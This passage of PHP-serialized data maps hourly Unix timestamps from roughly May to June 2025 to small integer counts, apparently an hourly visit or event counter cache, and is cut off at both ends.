{i:0;i:8;}i:1748091600;a:1:{i:0;i:10;}i:1748095200;a:1:{i:0;i:6;}i:1748098800;a:1:{i:0;i:20;}i:1748102400;a:1:{i:0;i:8;}i:1748106000;a:1:{i:0;i:9;}i:1748109600;a:1:{i:0;i:9;}i:1748113200;a:1:{i:0;i:18;}i:1748116800;a:1:{i:0;i:9;}i:1748120400;a:1:{i:0;i:14;}i:1748124000;a:1:{i:0;i:24;}i:1748127600;a:1:{i:0;i:10;}i:1748131200;a:1:{i:0;i:7;}i:1748134800;a:1:{i:0;i:10;}i:1748138400;a:1:{i:0;i:15;}i:1748142000;a:1:{i:0;i:7;}i:1748145600;a:1:{i:0;i:7;}i:1748149200;a:1:{i:0;i:22;}i:1748152800;a:1:{i:0;i:8;}i:1748156400;a:1:{i:0;i:6;}i:1748160000;a:1:{i:0;i:6;}i:1748163600;a:1:{i:0;i:10;}i:1748167200;a:1:{i:0;i:14;}i:1748170800;a:1:{i:0;i:9;}i:1748174400;a:1:{i:0;i:5;}i:1748178000;a:1:{i:0;i:3;}i:1748181600;a:1:{i:0;i:6;}i:1748185200;a:1:{i:0;i:1;}i:1748196000;a:1:{i:0;i:9;}i:1748199600;a:1:{i:0;i:9;}i:1748203200;a:1:{i:0;i:11;}i:1748206800;a:1:{i:0;i:8;}i:1748217600;a:1:{i:0;i:1;}i:1748221200;a:1:{i:0;i:1;}i:1748224800;a:1:{i:0;i:11;}i:1748232000;a:1:{i:0;i:2;}i:1748235600;a:1:{i:0;i:3;}i:1748239200;a:1:{i:0;i:10;}i:1748242800;a:1:{i:0;i:6;}i:1748246400;a:1:{i:0;i:9;}i:1748250000;a:1:{i:0;i:6;}i:1748253600;a:1:{i:0;i:13;}i:1748257200;a:1:{i:0;i:7;}i:1748260800;a:1:{i:0;i:5;}i:1748264400;a:1:{i:0;i:361;}i:1748268000;a:1:{i:0;i:396;}i:1748271600;a:1:{i:0;i:300;}i:1748275200;a:1:{i:0;i:408;}i:1748278800;a:1:{i:0;i:361;}i:1748282400;a:1:{i:0;i:339;}i:1748286000;a:1:{i:0;i:297;}i:1748289600;a:1:{i:0;i:386;}i:1748293200;a:1:{i:0;i:215;}i:1748300400;a:1:{i:0;i:6;}i:1748314800;a:1:{i:0;i:6;}i:1748318400;a:1:{i:0;i:20;}i:1748322000;a:1:{i:0;i:4;}i:1748325600;a:1:{i:0;i:3;}i:1748329200;a:1:{i:0;i:5;}i:1748332800;a:1:{i:0;i:17;}i:1748336400;a:1:{i:0;i:4;}i:1748340000;a:1:{i:0;i:5;}i:1748343600;a:1:{i:0;i:5;}i:1748347200;a:1:{i:0;i:7;}i:1748350800;a:1:{i:0;i:2;}i:1748354400;a:1:{i:0;i:9;}i:1748365200;a:1:{i:0;i:3;}i:1748372400;a:1:{i:0;i:9;}i:1748376000;a:1:{i:0;i:2;}i:1748379600;a:1:{i:0;i:1;}i:1748383200;a:1:{i:0;i:2;}i:1748386800;a:1:{i:0;i:3;}i:1748390400;a:1:{i:0;i:16;}i:1748394000;a:1:{i:0;i:9;}i:1748397600;a:1:{i:0;i:8;}i:1748401200;a:1:{i:0;i:7;}i:1748404800;a:1:{i:0;i:14;}i:1748408400;a:1:{i:0;i:8;}i:1748412000;a:1:{i:0;i:6;}i:1748415600;a:1:{i:0;i:8;}i:1748419200;a:1:{i:0;i:5;}i:1748422800;a:1:{i:0;i:11;}i:1748426400;a:1:{i:0;i:10;}i:1748430000;a:1:{i:0;i:13;}i:1748433600;a:1:{i:0;i:6;}i:1748437200;a:1:{i:0;i:7;}i:1748440800;a:1:{i:0;i:2;}i:1748448000;a:1:{i:0;i:1;}i:1748455200;a:1:{i:0;i:1;}i:1748469600;a:1:{i:0;i:3;}i:1748473200;a:1:{i:0;i:3;}i:1748476800;a:1:{i:0;i:1;}i:1748484000;a:1:{i:0;i:3;}i:1748487600;a:1:{i:0;i:2;}i:1748494800;a:1:{i:0;i:1;}i:1748498400;a:1:{i:0;i:1;}i:1748502000;a:1:{i:0;i:2;}i:1748505600;a:1:{i:0;i:1;}i:1748509200;a:1:{i:0;i:1;}i:1748516400;a:1:{i:0;i:8;}i:1748523600;a:1:{i:0;i:6;}i:1748530800;a:1:{i:0;i:2;}i:1748534400;a:1:{i:0;i:10;}i:1748538000;a:1:{i:0;i:1;}i:1748545200;a:1:{i:0;i:3;}i:1748548800;a:1:{i:0;i:2;}i:1748552400;a:1:{i:0;i:1;}i:1748556000;a:1:{i:0;i:4;}i:1748559600;a:1:{i:0;i:2;}i:1748563200;a:1:{i:0;i:1;}i:1748566800;a:1:{i:0;i:1;}i:1748570400;a:1:{i:0;i:2;}i:1748574000;a:1:{i:0;i:1;}i:1748577600;a:1:{i:0;i:2;}i:1748581200;a:1:{i:0;i:1;}i:1748588400;a:1:{i:0;i:13;}i:1748592000;a:1:{i:0;i:24;}i:1748595600;a:1:{i:0;i:20;}i:1748599200;a:1:{i:0;i:12;}i:1748602800;a:1:{i:0;i:10;}i:1748606400;a:1:{i:0;i:13;}i:1748610000;a:1:{i:0;i:10;}i:1748613600;a:1:{i:0;i:13;}i:1748617200;a:1:{i:0;i:12;}i:1748620800;a:1:{i:0;i:10;}i:1748624400;a:1:{i:0;i:10;}i:1748628000;a:1:{i:0;i:6;}i:1748631600;a:1:{i:0;i:10;}i:1748635200;a:1:{i:0;i:13;}i:1748638800;a:1:{i:0;i:16;}i:1748642400;a:1:{i:0;i:9;}i:1748646000;a:1:{i:0;i:12;}i:1748649600;a:1:{i:0;i:9;}i:1748653200;a:1:{i:0;i:10;}i:1748656800;a:1:{i:0;i:9;}i:1748660400;a:1:{i:0;i:13;}i:1748664000;a:1:{i:0;i:9;}i:1748667600;a:1:{i:0;i:23;}i:1748671200;a:1:{i:0;i:12;}i:1748674800;a:1:{i:0;i:10;}i:1748678400;a:1:{i:0;i:10;}i:1748682000;a:1:{i:0;i:5;}i:1748685600;a:1:{i:0;i:5;}i:1748689200;a:1:{i:0;i:6;}i:1748692800;a:1:{i:0;i:8;}i:1748696400;a:1:{i:0;i:6;}i:1748700000;a:1:{i:0;i:7;}i:1748703600;a:1:{i:0;i:2;}i:1748707200;a:1:{i:0;i:8;}i:1748710800;a:1:{i:0;i:5;}i:1748714400;a:1:{i:0;i:10;}i:1748718000;a:1:{i:0;i:6;}i:1748721600;a:1:{i:0;i:7;}i:1748725200;a:1:{i:0;i:6;}i:1748728800;a:1:{i:0;i:6;}i:1748732400;a:1:{i:0;i:6;}i:1748736000;a:1:{i:0;i:6;}i:1748739600;a:1:{i:0;i:8;}i:1748750400;a:1:{i:0;i:1;}i:1748761200;a:1:{i:0;i:2;}i:1748764800;a:1:{i:0;i:119;}i:1748768400;a:1:{i:0;i:258;}i:1748772000;a:1:{i:0;i:301;}i:1748775600;a:1:{i:0;i:286;}i:1748779200;a:1:{i:0;i:301;}i:1748782800;a:1:{i:0;i:319;}i:1748786400;a:1:{i:0;i:291;}i:1748790000;a:1:{i:0;i:299;}i:1748793600;a:1:{i:0;i:243;}i:1748797200;a:1:{i:0;i:291;}i:1748800800;a:1:{i:0;i:122;}i:1748804400;a:1:{i:0;i:7;}i:1748811600;a:1:{i:0;i:1;}i:1748822400;a:1:{i:0;i:2;}i:1748826000;a:1:{i:0;i:3;}i:1748829600;a:1:{i:0;i:16;}i:1748833200;a:1:{i:0;i:4;}i:1748836800;a:1:{i:0;i:568;}i:1748840400;a:1:{i:0;i:548;}i:1748844000;a:1:{i:0;i:529;}i:1748847600;a:1:{i:0;i:309;}i:1748851200;a:1:{i:0;i:1;}i:1748862000;a:1:{i:0;i:13;}i:1748869200;a:1:{i:0;i:22;}i:1748872800;a:1:{i:0;i:21;}i:1748876400;a:1:{i:0;i:7;}i:1748880000;a:1:{i:0;i:14;}i:1748890800;a:1:{i:0;i:12;}i:1748898000;a:1:{i:0;i:12;}i:1748901600;a:1:{i:0;i:1;}i:1748905200;a:1:{i:0;i:15;}i:1748908800;a:1:{i:0;i:15;}i:1748916000;a:1:{i:0;i:14;}i:1748919600;a:1:{i:0;i:1;}i:1748923200;a:1:{i:0;i:2;}i:1748926800;a:1:{i:0;i:12;}i:1748930400;a:1:{i:0;i:1;}i:1748934000;a:1:{i:0;i:14;}i:1748937600;a:1:{i:0;i:1;}i:1748941200;a:1:{i:0;i:15;}i:1748944800;a:1:{i:0;i:3;}i:1748948400;a:1:{i:0;i:9;}i:1748952000;a:1:{i:0;i:1;}i:1748959200;a:1:{i:0;i:16;}i:1748962800;a:1:{i:0;i:16;}i:1748966400;a:1:{i:0;i:6;}i:1748970000;a:1:{i:0;i:19;}i:1748973600;a:1:{i:0;i:8;}i:1748977200;a:1:{i:0;i:19;}i:1748980800;a:1:{i:0;i:19;}i:1748984400;a:1:{i:0;i:24;}i:1748988000;a:1:{i:0;i:6;}i:1748991600;a:1:{i:0;i:19;}i:1748995200;a:1:{i:0;i:21;}i:1748998800;a:1:{i:0;i:16;}i:1749002400;a:1:{i:0;i:32;}i:1749006000;a:1:{i:0;i:9;}i:1749009600;a:1:{i:0;i:23;}i:1749013200;a:1:{i:0;i:14;}i:1749016800;a:1:{i:0;i:15;}i:1749020400;a:1:{i:0;i:9;}i:1749024000;a:1:{i:0;i:10;}i:1749027600;a:1:{i:0;i:31;}i:1749031200;a:1:{i:0;i:9;}i:1749034800;a:1:{i:0;i:7;}i:1749038400;a:1:{i:0;i:8;}i:1749042000;a:1:{i:0;i:3;}i:1749045600;a:1:{i:0;i:1;}i:1749049200;a:1:{i:0;i:11;}i:1749056400;a:1:{i:0;i:13;}i:1749060000;a:1:{i:0;i:9;}i:1749063600;a:1:{i:0;i:1;}i:1749067200;a:1:{i:0;i:13;}i:1749070800;a:1:{i:0;i:18;}i:1749074400;a:1:{i:0;i:19;}i:1749081600;a:1:{i:0;i:10;}i:1749085200;a:1:{i:0;i:2;}i:1749092400;a:1:{i:0;i:3;}i:1749096000;a:1:{i:0;i:8;}i:1749103200;a:1:{i:0;i:15;}i:1749106800;a:1:{i:0;i:10;}i:1749110400;a:1:{i:0;i:10;}i:1749114000;a:1:{i:0;i:10;}i:1749117600;a:1:{i:0;i:1;}i:1749121200;a:1:{i:0;i:15;}i:1749124800;a:1:{i:0;i:9;}i:1749132000;a:1:{i:0;i:11;}i:1749139200;a:1:{i:0;i:7;}i:1749142800;a:1:{i:0;i:10;}i:1749146400;a:1:{i:0;i:2;}i:1749150000;a:1:{i:0;i:12;}i:1749153600;a:1:{i:0;i:14;}i:1749157200;a:1:{i:0;i:7;}i:1749160800;a:1:{i:0;i:7;}i:1749164400;a:1:{i:0;i:6;}i:1749168000;a:1:{i:0;i:6;}i:1749171600;a:1:{i:0;i:6;}i:1749175200;a:1:{i:0;i:19;}i:1749178800;a:1:{i:0;i:7;}i:1749182400;a:1:{i:0;i:18;}i:1749186000;a:1:{i:0;i:17;}i:1749189600;a:1:{i:0;i:9;}i:1749193200;a:1:{i:0;i:20;}i:1749196800;a:1:{i:0;i:9;}i:1749200400;a:1:{i:0;i:15;}i:1749204000;a:1:{i:0;i:13;}i:1749207600;a:1:{i:0;i:20;}i:1749211200;a:1:{i:0;i:5;}i:1749214800;a:1:{i:0;i:16;}i:1749218400;a:1:{i:0;i:14;}i:1749222000;a:1:{i:0;i:4;}i:1749225600;a:1:{i:0;i:6;}i:1749229200;a:1:{i:0;i:5;}i:1749232800;a:1:{i:0;i:7;}i:1749236400;a:1:{i:0;i:5;}i:1749240000;a:1:{i:0;i:15;}i:1749243600;a:1:{i:0;i:4;}i:1749247200;a:1:{i:0;i:9;}i:1749250800;a:1:{i:0;i:12;}i:1749254400;a:1:{i:0;i:7;}i:1749258000;a:1:{i:0;i:14;}i:1749261600;a:1:{i:0;i:4;}i:1749265200;a:1:{i:0;i:22;}i:1749268800;a:1:{i:0;i:18;}i:1749272400;a:1:{i:0;i:30;}i:1749276000;a:1:{i:0;i:17;}i:1749279600;a:1:{i:0;i:18;}i:1749283200;a:1:{i:0;i:7;}i:1749286800;a:1:{i:0;i:7;}i:1749290400;a:1:{i:0;i:4;}i:1749294000;a:1:{i:0;i:2;}i:1749297600;a:1:{i:0;i:2;}i:1749301200;a:1:{i:0;i:12;}i:1749304800;a:1:{i:0;i:7;}i:1749308400;a:1:{i:0;i:27;}i:1749312000;a:1:{i:0;i:19;}i:1749315600;a:1:{i:0;i:10;}i:1749319200;a:1:{i:0;i:14;}i:1749322800;a:1:{i:0;i:14;}i:1749326400;a:1:{i:0;i:8;}i:1749330000;a:1:{i:0;i:8;}i:1749333600;a:1:{i:0;i:6;}i:1749337200;a:1:{i:0;i:8;}i:1749340800;a:1:{i:0;i:8;}i:1749344400;a:1:{i:0;i:10;}i:1749348000;a:1:{i:0;i:14;}i:1749351600;a:1:{i:0;i:6;}i:1749355200;a:1:{i:0;i:16;}i:1749358800;a:1:{i:0;i:20;}i:1749362400;a:1:{i:0;i:19;}i:1749366000;a:1:{i:0;i:4;}i:1749369600;a:1:{i:0;i:16;}i:1749373200;a:1:{i:0;i:8;}i:1749376800;a:1:{i:0;i:16;}i:1749380400;a:1:{i:0;i:31;}i:1749384000;a:1:{i:0;i:2;}i:1749387600;a:1:{i:0;i:21;}i:1749391200;a:1:{i:0;i:21;}i:1749394800;a:1:{i:0;i:7;}i:1749398400;a:1:{i:0;i:10;}i:1749402000;a:1:{i:0;i:4;}i:1749405600;a:1:{i:0;i:1;}i:1749409200;a:1:{i:0;i:10;}i:1749412800;a:1:{i:0;i:12;}i:1749416400;a:1:{i:0;i:11;}i:1749420000;a:1:{i:0;i:9;}i:1749427200;a:1:{i:0;i:1;}i:1749430800;a:1:{i:0;i:5;}i:1749434400;a:1:{i:0;i:8;}i:1749438000;a:1:{i:0;i:7;}i:1749441600;a:1:{i:0;i:8;}i:1749445200;a:1:{i:0;i:9;}i:1749448800;a:1:{i:0;i:14;}i:1749452400;a:1:{i:0;i:17;}i:1749456000;a:1:{i:0;i:10;}i:1749459600;a:1:{i:0;i:16;}i:1749463200;a:1:{i:0;i:15;}i:1749466800;a:1:{i:0;i:25;}i:1749470400;a:1:{i:0;i:11;}i:1749474000;a:1:{i:0;i:8;}i:1749477600;a:1:{i:0;i:7;}i:1749481200;a:1:{i:0;i:8;}i:1749484800;a:1:{i:0;i:9;}i:1749488400;a:1:{i:0;i:12;}i:1749492000;a:1:{i:0;i:12;}i:1749495600;a:1:{i:0;i:10;}i:1749499200;a:1:{i:0;i:7;}i:1749502800;a:1:{i:0;i:11;}i:1749506400;a:1:{i:0;i:9;}i:1749510000;a:1:{i:0;i:4;}i:1749513600;a:1:{i:0;i:3;}i:1749517200;a:1:{i:0;i:9;}i:1749520800;a:1:{i:0;i:4;}i:1749524400;a:1:{i:0;i:7;}i:1749528000;a:1:{i:0;i:6;}i:1749531600;a:1:{i:0;i:9;}i:1749535200;a:1:{i:0;i:7;}i:1749538800;a:1:{i:0;i:9;}i:1749542400;a:1:{i:0;i:7;}i:1749546000;a:1:{i:0;i:5;}i:1749549600;a:1:{i:0;i:7;}i:1749553200;a:1:{i:0;i:4;}i:1749556800;a:1:{i:0;i:7;}i:1749560400;a:1:{i:0;i:7;}i:1749564000;a:1:{i:0;i:4;}i:1749567600;a:1:{i:0;i:9;}i:1749571200;a:1:{i:0;i:12;}i:1749574800;a:1:{i:0;i:7;}i:1749578400;a:1:{i:0;i:5;}i:1749582000;a:1:{i:0;i:6;}i:1749585600;a:1:{i:0;i:5;}i:1749589200;a:1:{i:0;i:3;}i:1749592800;a:1:{i:0;i:6;}i:1749596400;a:1:{i:0;i:4;}i:1749600000;a:1:{i:0;i:4;}i:1749603600;a:1:{i:0;i:5;}i:1749607200;a:1:{i:0;i:5;}i:1749610800;a:1:{i:0;i:4;}i:1749614400;a:1:{i:0;i:6;}i:1749618000;a:1:{i:0;i:5;}i:1749621600;a:1:{i:0;i:7;}i:1749625200;a:1:{i:0;i:2;}i:1749628800;a:1:{i:0;i:1;}i:1749632400;a:1:{i:0;i:5;}i:1749636000;a:1:{i:0;i:4;}i:1749639600;a:1:{i:0;i:7;}i:1749643200;a:1:{i:0;i:3;}i:1749646800;a:1:{i:0;i:8;}i:1749650400;a:1:{i:0;i:8;}i:1749654000;a:1:{i:0;i:4;}i:1749657600;a:1:{i:0;i:15;}i:1749661200;a:1:{i:0;i:17;}i:1749664800;a:1:{i:0;i:7;}i:1749668400;a:1:{i:0;i:8;}i:1749672000;a:1:{i:0;i:10;}i:1749675600;a:1:{i:0;i:9;}i:1749679200;a:1:{i:0;i:7;}i:1749682800;a:1:{i:0;i:9;}i:1749686400;a:1:{i:0;i:7;}i:1749690000;a:1:{i:0;i:6;}i:1749693600;a:1:{i:0;i:6;}i:1749697200;a:1:{i:0;i:6;}i:1749700800;a:1:{i:0;i:6;}i:1749704400;a:1:{i:0;i:10;}i:1749708000;a:1:{i:0;i:11;}i:1749711600;a:1:{i:0;i:9;}i:1749715200;a:1:{i:0;i:7;}i:1749718800;a:1:{i:0;i:9;}i:1749722400;a:1:{i:0;i:9;}i:1749726000;a:1:{i:0;i:8;}i:1749729600;a:1:{i:0;i:13;}i:1749733200;a:1:{i:0;i:3;}i:1749736800;a:1:{i:0;i:7;}i:1749740400;a:1:{i:0;i:6;}i:1749744000;a:1:{i:0;i:4;}i:1749747600;a:1:{i:0;i:18;}i:1749751200;a:1:{i:0;i:10;}i:1749754800;a:1:{i:0;i:5;}i:1749758400;a:1:{i:0;i:6;}i:1749762000;a:1:{i:0;i:3;}i:1749765600;a:1:{i:0;i:2;}i:1749769200;a:1:{i:0;i:2;}i:1749772800;a:1:{i:0;i:16;}i:1749776400;a:1:{i:0;i:18;}i:1749780000;a:1:{i:0;i:15;}i:1749783600;a:1:{i:0;i:18;}i:1749787200;a:1:{i:0;i:15;}i:1749790800;a:1:{i:0;i:20;}i:1749794400;a:1:{i:0;i:18;}i:1749798000;a:1:{i:0;i:28;}i:1749801600;a:1:{i:0;i:17;}i:1749805200;a:1:{i:0;i:20;}i:1749808800;a:1:{i:0;i:18;}i:1749812400;a:1:{i:0;i:15;}i:1749816000;a:1:{i:0;i:20;}i:1749819600;a:1:{i:0;i:14;}i:1749823200;a:1:{i:0;i:5;}i:1749826800;a:1:{i:0;i:6;}i:1749830400;a:1:{i:0;i:16;}i:1749834000;a:1:{i:0;i:5;}i:1749837600;a:1:{i:0;i:13;}i:1749841200;a:1:{i:0;i:6;}i:1749844800;a:1:{i:0;i:5;}i:1749848400;a:1:{i:0;i:5;}i:1749852000;a:1:{i:0;i:6;}i:1749855600;a:1:{i:0;i:5;}i:1749859200;a:1:{i:0;i:3;}i:1749862800;a:1:{i:0;i:2;}i:1749866400;a:1:{i:0;i:2;}i:1749870000;a:1:{i:0;i:2;}i:1749873600;a:1:{i:0;i:7;}i:1749877200;a:1:{i:0;i:5;}i:1749880800;a:1:{i:0;i:2;}i:1749884400;a:1:{i:0;i:5;}i:1749888000;a:1:{i:0;i:4;}i:1749891600;a:1:{i:0;i:6;}i:1749895200;a:1:{i:0;i:2;}i:1749898800;a:1:{i:0;i:3;}i:1749902400;a:1:{i:0;i:2;}i:1749906000;a:1:{i:0;i:1;}i:1749909600;a:1:{i:0;i:1;}i:1749913200;a:1:{i:0;i:1;}i:1749916800;a:1:{i:0;i:2;}i:1749920400;a:1:{i:0;i:1;}i:1749924000;a:1:{i:0;i:5;}i:1749927600;a:1:{i:0;i:11;}i:1749931200;a:1:{i:0;i:11;}i:1749934800;a:1:{i:0;i:13;}i:1749938400;a:1:{i:0;i:11;}i:1749942000;a:1:{i:0;i:10;}i:1749945600;a:1:{i:0;i:6;}i:1749949200;a:1:{i:0;i:9;}i:1749952800;a:1:{i:0;i:11;}i:1749956400;a:1:{i:0;i:11;}i:1749960000;a:1:{i:0;i:10;}i:1749963600;a:1:{i:0;i:15;}i:1749967200;a:1:{i:0;i:19;}i:1749970800;a:1:{i:0;i:16;}i:1749974400;a:1:{i:0;i:9;}i:1749978000;a:1:{i:0;i:7;}i:1749981600;a:1:{i:0;i:17;}i:1749985200;a:1:{i:0;i:6;}i:1749988800;a:1:{i:0;i:7;}i:1749992400;a:1:{i:0;i:12;}i:1749996000;a:1:{i:0;i:12;}i:1749999600;a:1:{i:0;i:22;}i:1750003200;a:1:{i:0;i:19;}i:1750006800;a:1:{i:0;i:8;}i:1750010400;a:1:{i:0;i:1;}i:1750014000;a:1:{i:0;i:1;}i:1750017600;a:1:{i:0;i:3;}i:1750021200;a:1:{i:0;i:1;}i:1750024800;a:1:{i:0;i:8;}i:1750028400;a:1:{i:0;i:8;}i:1750032000;a:1:{i:0;i:5;}i:1750035600;a:1:{i:0;i:3;}i:1750039200;a:1:{i:0;i:7;}i:1750042800;a:1:{i:0;i:4;}i:1750046400;a:1:{i:0;i:5;}i:1750050000;a:1:{i:0;i:5;}i:1750053600;a:1:{i:0;i:11;}i:1750057200;a:1:{i:0;i:7;}i:1750060800;a:1:{i:0;i:8;}i:1750064400;a:1:{i:0;i:10;}i:1750068000;a:1:{i:0;i:4;}i:1750071600;a:1:{i:0;i:4;}i:1750075200;a:1:{i:0;i:4;}i:1750078800;a:1:{i:0;i:6;}i:1750082400;a:1:{i:0;i:7;}i:1750086000;a:1:{i:0;i:11;}i:1750089600;a:1:{i:0;i:33;}i:1750093200;a:1:{i:0;i:24;}i:1750096800;a:1:{i:0;i:10;}i:1750100400;a:1:{i:0;i:11;}i:1750104000;a:1:{i:0;i:6;}i:1750107600;a:1:{i:0;i:11;}i:1750111200;a:1:{i:0;i:11;}i:1750114800;a:1:{i:0;i:15;}i:1750118400;a:1:{i:0;i:10;}i:1750122000;a:1:{i:0;i:7;}i:1750125600;a:1:{i:0;i:8;}i:1750129200;a:1:{i:0;i:8;}i:1750132800;a:1:{i:0;i:6;}i:1750136400;a:1:{i:0;i:8;}i:1750140000;a:1:{i:0;i:7;}i:1750143600;a:1:{i:0;i:8;}i:1750147200;a:1:{i:0;i:10;}i:1750150800;a:1:{i:0;i:8;}i:1750154400;a:1:{i:0;i:8;}i:1750158000;a:1:{i:0;i:10;}i:1750161600;a:1:{i:0;i:17;}i:1750165200;a:1:{i:0;i:11;}i:1750168800;a:1:{i:0;i:10;}i:1750172400;a:1:{i:0;i:10;}i:1750176000;a:1:{i:0;i:15;}i:1750179600;a:1:{i:0;i:13;}i:1750183200;a:1:{i:0;i:1;}i:1750186800;a:1:{i:0;i:4;}i:1750190400;a:1:{i:0;i:6;}i:1750194000;a:1:{i:0;i:7;}i:1750197600;a:1:{i:0;i:6;}i:1750201200;a:1:{i:0;i:14;}i:1750204800;a:1:{i:0;i:5;}i:1750208400;a:1:{i:0;i:7;}i:1750212000;a:1:{i:0;i:5;}i:1750215600;a:1:{i:0;i:5;}i:1750219200;a:1:{i:0;i:6;}i:1750222800;a:1:{i:0;i:5;}i:1750226400;a:1:{i:0;i:9;}i:1750230000;a:1:{i:0;i:1;}i:1750233600;a:1:{i:0;i:5;}i:1750240800;a:1:{i:0;i:1;}i:1750244400;a:1:{i:0;i:2;}i:1750248000;a:1:{i:0;i:1;}i:1750255200;a:1:{i:0;i:19;}i:1750258800;a:1:{i:0;i:17;}i:1750262400;a:1:{i:0;i:16;}i:1750266000;a:1:{i:0;i:17;}i:1750269600;a:1:{i:0;i:1;}i:1750273200;a:1:{i:0;i:3;}i:1750276800;a:1:{i:0;i:4;}i:1750280400;a:1:{i:0;i:4;}i:1750284000;a:1:{i:0;i:4;}i:1750287600;a:1:{i:0;i:4;}i:1750291200;a:1:{i:0;i:2;}i:1750294800;a:1:{i:0;i:2;}i:1750298400;a:1:{i:0;i:4;}i:1750302000;a:1:{i:0;i:1;}i:1750305600;a:1:{i:0;i:3;}i:1750309200;a:1:{i:0;i:6;}i:1750312800;a:1:{i:0;i:15;}i:1750316400;a:1:{i:0;i:18;}i:1750320000;a:1:{i:0;i:18;}i:1750323600;a:1:{i:0;i:21;}i:1750327200;a:1:{i:0;i:19;}i:1750330800;a:1:{i:0;i:18;}i:1750334400;a:1:{i:0;i:18;}i:1750338000;a:1:{i:0;i:5;}i:1750341600;a:1:{i:0;i:3;}i:1750345200;a:1:{i:0;i:9;}i:1750348800;a:1:{i:0;i:18;}i:1750352400;a:1:{i:0;i:27;}i:1750356000;a:1:{i:0;i:14;}i:1750359600;a:1:{i:0;i:17;}i:1750363200;a:1:{i:0;i:16;}i:1750366800;a:1:{i:0;i:19;}i:1750370400;a:1:{i:0;i:14;}i:1750374000;a:1:{i:0;i:15;}i:1750377600;a:1:{i:0;i:11;}i:1750381200;a:1:{i:0;i:6;}i:1750384800;a:1:{i:0;i:1;}i:1750388400;a:1:{i:0;i:10;}i:1750392000;a:1:{i:0;i:12;}i:1750395600;a:1:{i:0;i:13;}i:1750399200;a:1:{i:0;i:10;}i:1750402800;a:1:{i:0;i:12;}i:1750406400;a:1:{i:0;i:10;}i:1750410000;a:1:{i:0;i:12;}i:1750413600;a:1:{i:0;i:12;}i:1750417200;a:1:{i:0;i:12;}i:1750420800;a:1:{i:0;i:13;}i:1750424400;a:1:{i:0;i:15;}i:1750428000;a:1:{i:0;i:18;}i:1750431600;a:1:{i:0;i:11;}i:1750435200;a:1:{i:0;i:14;}i:1750438800;a:1:{i:0;i:16;}i:1750442400;a:1:{i:0;i:13;}i:1750446000;a:1:{i:0;i:13;}i:1750449600;a:1:{i:0;i:16;}i:1750453200;a:1:{i:0;i:18;}i:1750456800;a:1:{i:0;i:19;}i:1750460400;a:1:{i:0;i:14;}i:1750464000;a:1:{i:0;i:16;}i:1750467600;a:1:{i:0;i:18;}i:1750471200;a:1:{i:0;i:13;}i:1750474800;a:1:{i:0;i:25;}i:1750478400;a:1:{i:0;i:31;}i:1750482000;a:1:{i:0;i:40;}i:1750485600;a:1:{i:0;i:33;}i:1750489200;a:1:{i:0;i:29;}i:1750492800;a:1:{i:0;i:31;}i:1750496400;a:1:{i:0;i:32;}i:1750500000;a:1:{i:0;i:37;}i:1750503600;a:1:{i:0;i:26;}i:1750507200;a:1:{i:0;i:29;}i:1750510800;a:1:{i:0;i:27;}i:1750514400;a:1:{i:0;i:34;}i:1750518000;a:1:{i:0;i:33;}i:1750521600;a:1:{i:0;i:29;}i:1750525200;a:1:{i:0;i:18;}i:1750528800;a:1:{i:0;i:6;}i:1750532400;a:1:{i:0;i:7;}i:1750536000;a:1:{i:0;i:26;}i:1750539600;a:1:{i:0;i:28;}i:1750543200;a:1:{i:0;i:28;}i:1750546800;a:1:{i:0;i:26;}i:1750550400;a:1:{i:0;i:6;}i:1750554000;a:1:{i:0;i:11;}i:1750557600;a:1:{i:0;i:17;}i:1750561200;a:1:{i:0;i:18;}i:1750564800;a:1:{i:0;i:24;}i:1750568400;a:1:{i:0;i:13;}i:1750572000;a:1:{i:0;i:5;}i:1750575600;a:1:{i:0;i:3;}i:1750579200;a:1:{i:0;i:14;}i:1750582800;a:1:{i:0;i:16;}i:1750586400;a:1:{i:0;i:13;}i:1750590000;a:1:{i:0;i:17;}i:1750593600;a:1:{i:0;i:14;}i:1750597200;a:1:{i:0;i:17;}i:1750600800;a:1:{i:0;i:10;}i:1750604400;a:1:{i:0;i:7;}i:1750608000;a:1:{i:0;i:9;}i:1750611600;a:1:{i:0;i:17;}i:1750615200;a:1:{i:0;i:17;}i:1750618800;a:1:{i:0;i:14;}i:1750622400;a:1:{i:0;i:19;}i:1750626000;a:1:{i:0;i:12;}i:1750629600;a:1:{i:0;i:13;}i:1750633200;a:1:{i:0;i:14;}i:1750636800;a:1:{i:0;i:12;}i:1750640400;a:1:{i:0;i:13;}i:1750644000;a:1:{i:0;i:12;}i:1750647600;a:1:{i:0;i:13;}i:1750651200;a:1:{i:0;i:15;}i:1750654800;a:1:{i:0;i:13;}i:1750658400;a:1:{i:0;i:13;}i:1750662000;a:1:{i:0;i:13;}i:1750665600;a:1:{i:0;i:15;}i:1750669200;a:1:{i:0;i:17;}i:1750672800;a:1:{i:0;i:19;}i:1750676400;a:1:{i:0;i:24;}i:1750680000;a:1:{i:0;i:13;}i:1750683600;a:1:{i:0;i:14;}i:1750687200;a:1:{i:0;i:8;}i:1750690800;a:1:{i:0;i:7;}i:1750694400;a:1:{i:0;i:4;}i:1750698000;a:1:{i:0;i:4;}i:1750701600;a:1:{i:0;i:3;}i:1750705200;a:1:{i:0;i:9;}i:1750708800;a:1:{i:0;i:4;}i:1750712400;a:1:{i:0;i:5;}i:1750716000;a:1:{i:0;i:15;}i:1750719600;a:1:{i:0;i:11;}i:1750723200;a:1:{i:0;i:12;}i:1750726800;a:1:{i:0;i:12;}i:1750730400;a:1:{i:0;i:8;}i:1750734000;a:1:{i:0;i:5;}i:1750737600;a:1:{i:0;i:12;}i:1750741200;a:1:{i:0;i:12;}i:1750744800;a:1:{i:0;i:11;}i:1750748400;a:1:{i:0;i:11;}i:1750752000;a:1:{i:0;i:13;}i:1750755600;a:1:{i:0;i:10;}i:1750759200;a:1:{i:0;i:16;}i:1750762800;a:1:{i:0;i:12;}i:1750766400;a:1:{i:0;i:18;}i:1750770000;a:1:{i:0;i:6;}i:1750773600;a:1:{i:0;i:1;}i:1750777200;a:1:{i:0;i:1;}i:1750780800;a:1:{i:0;i:8;}i:1750784400;a:1:{i:0;i:24;}i:1750788000;a:1:{i:0;i:6;}i:1750791600;a:1:{i:0;i:10;}i:1750795200;a:1:{i:0;i:12;}i:1750798800;a:1:{i:0;i:5;}i:1750802400;a:1:{i:0;i:1;}i:1750809600;a:1:{i:0;i:7;}i:1750813200;a:1:{i:0;i:12;}i:1750816800;a:1:{i:0;i:13;}i:1750820400;a:1:{i:0;i:7;}i:1750824000;a:1:{i:0;i:12;}i:1750827600;a:1:{i:0;i:13;}i:1750831200;a:1:{i:0;i:10;}i:1750834800;a:1:{i:0;i